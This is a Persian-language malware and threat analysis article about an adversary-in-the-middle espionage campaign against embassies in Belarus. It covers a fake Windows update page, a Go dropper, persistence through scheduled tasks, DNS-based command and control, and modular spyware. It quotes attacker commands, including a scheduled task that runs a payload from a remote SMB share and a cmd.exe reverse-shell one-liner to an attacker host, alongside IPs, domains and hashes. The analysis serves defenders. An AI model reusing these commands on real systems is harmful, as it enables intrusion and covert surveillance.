جدول محتوا
بررسی حمله به سفارتخانهها در کشور بلاروس
یکی از مسئولان سازمان NSA، در یکی از همایشهای اخیر برای توضیح کار خود، از تعریف سادهای استفاده میکند: «کار ما، صرفاً تولید اطلاعات خارجی است. وقتی صحبت از نفوذ به مراکز دیپلماتیک یا سیاسی میشود، بیشتر مواقع استخراج اطلاعات هدف است، نه چیز دیگری.»
حفظ دسترسی در طولانی مدت برای گروههایی که زیرشاخهی این هدف هستند، مهم است؛ پس حملهی خود را با تکنیکهای پیچیده و کمترشناختهشدهای انجام میدهند. در این مقاله، یکی از حملهها به دیپلماتهای کشورهای مستقر در بلاروس را بررسی میکنیم و تکنیکهای انجامشده، مانند AitM(adversary-in-the-middle) ،DNS Exfiltration و بدافزارهایی را که برای جمعآوری اطلاعات استفاده شدهاند، آنالیز میکنیم.
دسترسی اولیه با بهانهی آپدیت ویندوز
فرض کنید لپتاپ خود را به مکان عمومی، مانند کافه میبرید و یک قهوه هم سفارش میدهید. تا قهوه آماده شود، میخواهید از طریق لپتاپ، به اینترنت کافه وصل شوید.
بررسی وضعیت وصل شدن به اینترنت دردر Documentهای مایکروسافت اینگونه است که در ویندوزهای نسخهی ۸ به بعد، ابتدا سیستمعامل شما یک درخواست به سرور DNS شما برای پیدا کردن آدرس www.msftconnecttest.com ارسال میکند. اگر درخواست DNS موفقیتآمیز بود، یک درخواست HTTP به آدرس https://www.msftconnecttest.com/connecttest.txt ارسال میکند و فایل متنی را از طریق آن دانلود میکند تا اطمینان پیدا کند که به اینترنت وصل هستیم (منبع). اگر هکر، این فرایند را دستکاری کند چه اتفاقی میافتد؟ در واقع این حمله، به نام AitM(adversary-in-the-middle) شناخته شده است.
ساختار DNS به این صورت است که کاربر، آدرس سایت گوگل را در مرورگر خود وارد میکند و سپس درخواست بهسمت ISP (Internet Service Provider) ارسال میشود. در ISP، سرورهای DNS برای آدرس سایت گوگل مشخص شده است که مانند یک دفترچه لغت، آدرس سایت گوگل را به IP مورد نظر ترجمه میکند. بهعنوان مثال، ترجمهی آدرس سایت گوگل به آدرس 10.20.30.40 است و سپس خروجی مورد نظر، به روتر/مودم و سیستم کاربر برمیگردد و به سایت گوگل هدایت میشود. اینجا درخواست DNS به آدرس www.msftconnecttest.com ارسال میشود؛ ولی به آدرس مخربی هدایت میشود که مسیر مورد نظر هکر است. دو سؤال که باید در ذهنتان پیش بیاید این است که ۱. چگونه این اتفاق میافتد؟ ۲. به کدام آدرس مخرب هدایت میشود.
در پاسخ به سؤال اول باید بگوییم، در بعضی از کشورها، مانند روسیه، در سال ۲۰۱۴، ISPها موظف شدند که دستگاههایی با اسم SORM-3 را روی دستگاه و سرورهای خود نصب کنند که برای سازمان اطلاعات روسیه (FSB)، دستکاری و شنود پکتها (Deep Packet Inspection) را فراهم میکند (منبع). پیشینهی این نوع حملهها در سال ۲۰۱۸، بهواسطهی دانلود اپلیکیشنهای ویندوز از سرورهای مایکروسافت در ترکیه و مصر و نصب ماینر بهجای آن بوده است. در واقع پکت سیستم شما را در کسری از ثانیه، با چیز دیگری جایگزین میکند (منبع).
در پاسخ به سؤال دوم نیز باید بگوییم، به آدرس https://updates.microsoft[.]com/ هدایت میشود، سپس یک صفحه به زبان بلاروسی برای آپدیت شدن نمایان میشود.
شاید شما این آدرس را در مرورگر خود وارد کنید و عبارت Page Not Found را مشاهده کنید. در واقع این آدرس وجود خارجی ندارد و فقط برای قربانیان آن کشور و با استفاده از همانISP امکانپذیر است؛ زیرا فقط همان پکت دستکاری میشود.
نکتهای که باید به آن توجه کرد این است که به سیستم شخصی ساکنان اطراف آن سفارتخانه یا مرکز دیپلماتیک در بلاروس که از همان ISP استفاده میکنند، حمله نمیشود و فقط همان سفارتخانهها مورد حمله قرار میگیرند. سؤالی که پیش میآید این است که هکرها از کجا میدانند که کدام پکت، متعلق به چهکسی است؟ آدرس آیپی 5.45.121[.].106که به آدرس مخرب هدایت میشود، متعلق به محدودهی دامینهایی است که سرویس آنلاینی بر روی آنها وجود ندارد و به صلاحدید دامین پاک شده است. این آیپی نمیتواند تصادفی باشد؛ زیرا باید قربانی مشخص باشد [که هست] و کاربر دیگری، بهاشتباه آلوده نشود. (نکتهای که در حملههای پیچیده، همیشه نمایان است این است که بهخاطر حفظ پوشش حمله و پنهان ماندن از دید عموم و کارشناسان امنیت، Scope حمله یا همان محدودهی هدف حمله باید فقط محدود به همان هدف باشد و جای دیگر بهاشتباه آلوده نشود که همین امر موجب خراب شدن و افشای حمله میشود.)
بدافزارها، آمادهی تحویل و اجرا
بعد از اینکه قربانی، آدرس صفحهی آلوده را (که بررسی کردیم) بازدید کرد و گزینهی آپدیت را زد، در پشت صحنه، کدهای جاوا اسکریپت مهاجم، کار را آغاز میکنند. صفحهای که به بهانهی آپدیت، نمایان میشود، به شکل زیر است:
https://updates.microsoft[.]com/jdrop.js
بعد از زدن دکمهی update، تابع update، کد زیر را اجرا میکند:
همانطور که در تصویر میبینید، کد بالا، فایل MicorosftUpdate845255.zip را برای قربانی دانلود میکند. (یکی از کارهای کوچک هکرها برای مخفی کردن حملهی خود، سوءاستفاده از اسم شرکتهای معتبر برای بدافزار یا Dropperهایشان است.)
بعد از استخراج و نصب فایل MicrosftUpdate845255.exe، این فایل بهعنوان یک Dropper و Stager اولیه عمل میکند. (حملههای سطح بالا و پیچیدهی بدافزار اصلی را همان بار اول اجرا نمیکنند و پس از بررسی محیط، به گذاشتن Backdoor و بدافزار اصلی اقدام میکنند.) فایل مورد نظر ما که به زبان Golang نوشته شده، تسکی را در Task Schedulerویندوز میسازد که دستور زیر را اجرا میکند:
schtasks /create /sc minute /mo 1 /tn OfficeBrokerTask /tr \\35.214.56.2\OfficeBroker\OfficeBroker.exe
نکتههایی که در دستور بالا وجود دارد: ۱. بدون اینکه فایل OfficeBroker.exe روی دیسک قربانی اجرا شود، در مموری سیستمعامل اجرا میشود و حمله، به اصطلاح از نوع Fileless است (یکی از نکات طلایی در رعایت OPSEC). ۲. آدرس آیپی مربوط به Google Cloud است؛ یعنی همان حملهی AitM. با این تفاوت که این بار در پروتکل SMB بهجای HTTP. همچنین، از دو بکاسلش که قبل از آدرس آیپی 2[.] 35.214.56\\ آمده است، میتوانیم متوجه شویم که SMB است.
دیاگرام خلاصهای از حمله در مرحلهی دسترسی اولیه: همچنین، فایل OfficeBroker.exe هم بهعنوان یک دانلودر دیگر عمل میکند. همچنین، میتواند بدافزارهای ماژولار، مانند کیلاگر، ضبط صدا، گرفتن لیست فایلهای قربانی و... را دانلود و اجرا کند که با هم بررسی میکنیم. با بررسی آرتیفکتها (فاکتورها) و آنالیز سبک برنامهنویسی، میتوان به بدافزارهای دیگر این گروه در حملههای مشابه رسید. در سال۲۰۲۰ دوباره این حمله اجرا شده بود که به آدرس مخرب https://mail.mfa.gov.<redacted>/EdgeUpdate.exe هدایت میشد و بدافزار EdgeUpdate.exe پس از اجرا، به ساخت و اجرای تسک با چاشنی خلاقیت بیشتر شروع میکرد که با هم بررسی میکنیم:
تسکی با بیشترین دسترسی ممکن، به نام EdgeUpdateA در پوشهی MicrosoftUpdate ساخته میشود. این تسک با آرگیومنت sc/; یعنی هر دقیقه اجرا میشود و با آرگیومنت tr/ مسیر فایل اجرایی را مشخص میکند.
اما بررسی نکتهی جالب:
\EDGEUPDATE\WINCMDA.exe cmd.exe /c type \\24.9.51[.]94\EDGEUPDATE\EDGEAIN | cmd.exe 1> \\24.9.51.94\EDGEUPDATE\EDGEOUT 2> &1
اینجا یک Reverse Shell با تأخیر یک ثانیه داریم. WINCMDA.exe همان cmd.exe است که نام آن تغییر یافته، c/ یعنی اول دستور را اجرا کن و بعد از اجرا بسته شو، type هم یعنی محتوای فایل را بخوان؛ پس جمعبندی کنیم: محتوای فایل را از سرور، بهصورت SMB از محتوای فایل EDGEAIN میخواند و خروجی دستور را بهصورت پایپ در EDGEOUT پرینت میکند.
چند دستور را با هم اجرا کنیم: در محتوای فایل in که ورودی میگیرد، این دستورات را قرار دادیم: خروجی را ببینیم:
آنالیز بدافزارهای ماژولار
در فایل OfficeBroker.exe ، یک بدافزار به زبان گولنگ داریم که از کتابخانهی https://github.com/mozey/schtasks برای ساختن تسک و دانلود بقیهی بدافزارها، به دستور هکر استفاده کرده است:
در بخش آخر از تصویر بالا، یک کوئری DNS به آدرس windows.system.update[.]com مشاهده میکنیم. دامین windows.system.update[.]com وجود خارجی ندارد و به احتمال زیاد، با تکنیک AitM به C&C مهاجم، رجیستر شدن (آلوده شدن اولیهی قربانی) را اطلاع میدهد؛ بهگونهای که DNS، آدرس windows.system.update[.]com را درخواست میکند؛ اما چون این رکورد در nameserverهای دستگاه کاربر یا شبکهی آلوده وجود ندارد، به بیرون شبکه درخواست ارسال میشود و به سرور DNS هکر میرسد. بدافزارهای دانلودر و دراپر این حمله، ساده و با کتابخانههای گولنگی نوشته شدهاند.
بدافزارهای مشابه:
- اسکرین گرفتن از صفحه با کتابخانهی https://github.com/kbinani/screenshot:
\\209.19.37[.]184\driverpack\aact.exe
- ریورس پراکسی برای تانلینگ با کتابخانهی https://github.com/kost/revsocks:
\\209.19.37[.]184\driverpack\officetelemetry.exe
آنالیز بدافزارها از این حمله و حملههای مشابه پیشین
- نمونهی (SHA-1: 0DAEA89F91A55F46D33C294CFE84EF06CE22E393):
نگاهی به مسیر %USERPROFILE%\Recent خود بزنید. سیستمعامل ویندوز، از فایلهایی که از قبل اجرا شدهاند و میشوند، یک shortcut در آن مسیر تهیه میکند. یک بدافزار دیگر که دانلود و اجرا میشود، مسیر تمام فایلهای shortcut را از مسیر دانلودرها گرفته و به آدرس \\24.9.51[.].94\EDGEUPDATE\update\ ارسال میکند.
- نمونهی (SHA-1: 5B55250CC0DA407201B5F042322CFDBF56041632):
یکی دیگر از نمونههای قدیمی که رفتار مشابه را داشته و بهعنوان بکدور و از سال ۲۰۱۴ تا ۲۰۱۹ فعال بوده است و شامل یک LNK Parser برای استخراج مسیر فایلها است؛ ولی فقط فرمت فایلهای doc ،xls ،xslx ،pdf و docx را پشتیانی میکرد.
نمونهی مرتبط با حفظ دسترسی (Persistence)، با استفاده از ساخت سرویس با svchost.exe: در عین پیچیدگی حمله، خطاهایی نیز ممکن است اتفاق بیفتد، مانند جا ماندن مسیر PDB در هنگام کامپایل بدافزار که میتوانیم در رشتههای موجود در برنامه ببینیم. در واقع برنامهنویسهای بدافزار فراموش کردند آن را پاک کنند و همین امر باعث میشود بتوانیم کارهای جدیدتر و خلاقانهتر آنها را دنبال کنیم.
- این نمونه قدیمی از پروتکل SMTP و بهوسیلهی سرویس ایمیل، با C&C خود ارتباط برقرار میکرد، با توجه به آنالیز بدافزار از کتابخانه و تابعهای زیر، استفاده شده است. https://github.com/korisk/csmtp/blob/master/CSmtp.cpp
- نمونهی (SHA-1:11CF38D971534D9B619581CEDC19319962F3B996):
بدافزار بعدی لیست درایوها حتی USB درایوها را میگیرد. با استفاده از API زیر و با قراردادن آن در یک حلقه، مانند شبهکد زیر و نوشتن حجم هر کدام، آنها را در مسیر c:\Users\public ذخیره میکند:
- نمونهی (SHA-1: D14D9118335C9BF6633CB2A41023486DACBEB052):
جدیدترین نمونه از این حمله است که از سال ۲۰۲۰ شروع به فعالیت کرده است. رشتههای موجود در برنامه با مقدار 0x1 انکریپت میشود، به این صورت که هر حرف، تبدیل به مقدار هکس آن میشود و با مقدار هکس 0x1 جمع میشود و سپس با دیکریپشن RSA و کلید 2048 بیتی پرایوت به مقدار اصلی خود برمیگردند.
برای ارتباط با C&C خود از پروتکل DNS استفاده میکند: دستورهای خود را از طریق (کوئری) TXT پروتکل DNS میخواند.:
جمعبندی
با زنجیر کردن تکنیکها، مشخص است که با یک تیم باتجربه و بامهارت روبهرو هستیم. همانطور که مشاهده کردید، ممکن است شیوهی ارتباط با سرورهای هکر یا تکنیکهای دیگر تغییر کند؛ ولی با دنبال کردن سبک برنامهنویسی بدافزارها، هدفهای موردنظرشان، وصل کردن و آنالیز حملههای قبلی به نمونهی جدید و آرتیفکتهای دیگر، مانند مسیر PDB میتوانیم کارهای جدید این گروه را دنبال کنیم و اقداماتی را برای جلوگیری و تشخیص آن در شبکه یا سازمان خود انجام دهیم. نکتهی قابل توجه دیگر، امکان استفاده از این حمله، علیه مراکز دیپلماتیک یا سایر مراکز ایران در کشورهای دیگر است.